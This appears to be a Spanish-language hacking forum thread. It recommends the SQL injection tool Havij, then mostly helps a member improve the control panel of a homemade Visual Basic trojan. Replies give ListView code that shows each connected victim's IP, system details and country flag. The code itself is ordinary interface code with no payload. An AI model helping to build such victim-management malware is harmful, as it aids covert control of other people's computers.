Mensajes

cada 3 dias sale un post de alguien preguntando como se hace una inyección basica, no sería mejor poner en rojo, negrita, fosforito o lo que sea: "leer la sección de "Temas más destacados..." o "google.es"? xD

Por cierto, si no kereis "mancharos" las manos haciendo inyecciones porque no usais una tool de automatización?

Código [Seleccionar] Expandir

Havij es de las mejores que he visto, soporta muchos tipos de inyecciones y en general es muy completa, lo malo que solo funciona para mysql no soporta mssql

meda curiosidad de donde lo bajo y como funciona abra un tutorial que me lo explique abra otros mas que hagan la tarea mas facil

exacto esa es la respuesta..!

jajajajaja
yo hablar 5 idiomas, 6 lenguajes, 10 dialectos..!!!

yo traducirles...!! no enteder nada... pero seguir pa delante...

espero haberles ayudado...


buena clase

compa saludos.

tenes que descargarlos de memoria (creo que esa es tu soliucion)

jajajaj todos acotan sobre mi nena xD jajaj... es mia y de nadie mas! 
jaja pronto abriremos un posta asi cada comenta sobre ella jja...

che ninguno dijo q le parecio mi source

saludos compa...!!!

lo del source ta bien....


tu chicuela esta de requete chula...!!!

aporta mas info de tu chica... recuerda que hay que compartir copn los que no tienen

tomando en cuenta que este es tu code:

http://foro.elhacker.net/programacion_vb/ayuda_con_mi_troyano-t226994.0.html;msg1079978#msg1079978


Me aplicare a este trozo es donde recibes la informacion de la pc (victima) entre ellas te envia el dato PAIS (que es un dato tipo string que contiene el Nombre del Pais o  Localizacion Regional del Pc (victima))

Código [Seleccionar] Expandir


Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos

Dim datos As String
Dim data() As String 'array

WS(Index).GetData datos 'recibimos los datos y los guardamos en la

variable "datos"

data = Split(datos, "|") 'data almacena los datos enviados por el servidor puesto que es un arreglo de datos estos con la funcion SPLIT son separados por lo tanto en Data(6) tenes almacenado el dato PAIS (que es un tipo string que tiene el nombre del pais)

Select Case data(0)

Case "Conexion"
Dim x As ListItem
Set x = LV.ListItems.Add(, Index & "|", data(1)) 'añadimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que añadimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6) ' Aca va ubicado el dato PAIS en el subitem del listview
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select
End Sub




solo tenes que agregar esto:

Código [Seleccionar] Expandir



Select Case data(0)

Case "Conexion"
Dim x As ListItem

' Para usar controles ImageList con el control
' ListView, deberá asociar un determinado control
' ImageList a las propiedades Icons y SmallIcons.

LV.Icons = ImageList1 'nombre del control donde tengas las imagenes o iconos
LV.SmallIcons = ImageList1 'nombre del control donde tengas las imagenes o iconos

'Método add: Agrega elementos nuevos al listado. sus parámetros son:
'listview1.listitem.add (índice), (clave), (texto), (icono), (icono pequeño)

Set x = LV.ListItems.Add(, Index & "|", data(1), , GetFlag(data(6)))



pruebalo...

estamos en contacto por aca por si las dudas....

saludos compa..!!

espero te sirva de ayuda...

Ejemplo paso a paso:

1. Inicie un proyecto nuevo EXE estándar. Se creará Form1 de manera predeterminada 
2. Seleccionar componentes en el menú Proyecto. Haga clic en la casilla de verificación al lado de "Microsoft controles comunes de Windows 5.0" y a continuación, haga clic en Aceptar. 
3. Agregue a Form1 un control ListView (ListView1). 
4. Agregue a Form1 un CommandButton (Command1). 
5. Agregue el código siguiente al módulo de Formulario:

Código [Seleccionar] Expandir

Private Declare Function SendMessage Lib "user32" Alias _
        "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal _
        wParam As Long, lParam As Any) As Long

      Const LVS_EX_FULLROWSELECT = &H20
      Const LVM_FIRST = &H1000
      Const LVM_GETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + &H37
      Const LVM_SETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + &H36

      Private Sub Command1_Click()
        Dim lStyle As Long
        lStyle = SendMessage(ListView1.hwnd, _
           LVM_GETEXTENDEDLISTVIEWSTYLE, 0, 0)
        lStyle = lStyle Or LVS_EX_FULLROWSELECT
        Call SendMessage(ListView1.hwnd, LVM_SETEXTENDEDLISTVIEWSTYLE, _
           0, ByVal lStyle)
      End Sub

      Private Sub Form_Load()
        'Add two Column Headers to the ListView control
        Set clmAdd = ListView1.ColumnHeaders.Add(Text:="Name")
        Set clmAdd = ListView1.ColumnHeaders.Add(Text:="Date")

        'Set the view property of the Listview control to Report view
        ListView1.View = lvwReport

        'Add data to the ListView control
        Set itmAdd = ListView1.ListItems.Add(Text:="Joe")
        itmAdd.SubItems(1) = "05/07/97"

        Set itmAdd = ListView1.ListItems.Add(Text:="Sally")
        itmAdd.SubItems(1) = "04/08/97"

        Set itmAdd = ListView1.ListItems.Add(Text:="Bill")
        itmAdd.SubItems(1) = "05/29/97"

        Set itmAdd = ListView1.ListItems.Add(Text:="Fred")
        itmAdd.SubItems(1) = "05/17/97"

        Set itmAdd = ListView1.ListItems.Add(Text:="Anne")
        itmAdd.SubItems(1) = "04/01/97"
      End Sub


nota: sacado de: http://support.microsoft.com/kb/181440


segunda opcion:


en un modulo (*.BAS)

Código [Seleccionar] Expandir

Option Explicit

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
   (ByVal hwnd As Long, _
    ByVal Msg As Long, _
    ByVal wParam As Long, _
    lParam As Any) As Long

Public Const LVM_FIRST = &H1000
Public Const LVM_SETEXTENDEDLISTVIEWSTYLE = (LVM_FIRST + 54)
Public Const LVM_GETEXTENDEDLISTVIEWSTYLE = (LVM_FIRST + 55)

Public Const LVS_EX_FULLROWSELECT = &H20




en el form usa un Check1

Código [Seleccionar] Expandir

Option Explicit

Private Sub Check1_Click()

   Dim state As Long

  'state will be true when the checkbox
  'style is 1 (checked) or False when
  'unchecked
   state = Check1.Value = 1

  'set the new listview style
   Call SendMessage(ListView1.hwnd, _
                        LVM_SETEXTENDEDLISTVIEWSTYLE, _
                        LVS_EX_FULLROWSELECT, ByVal state)

End Sub


nota: sacado de: http://vbnet.mvps.org/index.html?code/comctl/lvfullrowselect.htm

espero que te sirva de guia....

saludos te felicito wey....!!!

vas por buen camino...(el canimo se hace caminando  )

excelente...!!!



nota: antes de publicar tu aplicacion asegurate de que no tenga errores, asi no te lamentaras posterioremente en el futuro... (ponlo a prueba real...!!) y luego lo pùblicas compa....


muy bueno me gusta como se ve

Hola amigos tengo una dudilla, es algo como para darle un poco mas de estetica al troyano pero bueno haber si me pueden ayudar, bueno lo que yo quiero hacer es que cada vez que una victima se conecte al troyano agregue una imagen en el subitem 1 del listview es este caso el del nombre...Bueno si me pueden ayudar se los agradeceria...

saludos compa....

tu troyanito va avanzando a pasos de vencedores...!!!

te colaboro con este code... a manera de ilustracion....

Código [Seleccionar] Expandir

'El ejemplo necesita:
'1 ListView y 2 ImageList(ImageList1 y ImageList2) con
'3 imágenes cada uno.

'Además el ListView necesita la propiedad View=3 y
'tener 4 columnas.

Option Explicit

Private Sub Form_Load()
Dim i As Integer
Dim x As ListItem

With ListView1
   
    Set .Icons = ImageList1
    Set .SmallIcons = ImageList2
       
        For i = 1 To 3
            .ListItems.Add , , "Item " & CStr(i), i, i
        Next i

    Set x = ListView1.ListItems(1)
        For i = 1 To 3
        x.ListSubItems.Add , , "SubItem " & CStr(i), i
    Next i



End With



End Sub



espero que te sirva...

introduce tres icono o imagenes en cada control de imagelist

cualquier duda... solo pregunta....

a proposito resolvistes lo de las banderas...???

@TUNOVATO

Primero mira en tu teclado a ver si ves una luz encendida que dice Caps Lock, posiblemente no te diste cuenta que estas escribiendo en mayusculas.

Ahora con respecto a tu comentario (el cual poco comprendi) no se si lo decias enserio, estabas tratando de ser ironico o fue solamente lo que pudiste pensar y expresar en el momento, pero es totalmente posible hacer ese codigo en 2 lineas o incluso en 1 como decis vos, previa creacion de un archivo de recursos.

Saludos compa...

lo del teclado ya lo encontre por primera vez veo esa luz y  son tres (luz encendida que dice Caps Lockces) , gracias ya se pa que sirven (creo..!)

con respecto al comentario es verdad ni yo mismo lo entendi, pero me funciono, aprendi algo..

lo del codigo i es posible (todo en esta vida y la otra es posible...!!!)

gracia compa...

todos los dias se aprende algo de alguien....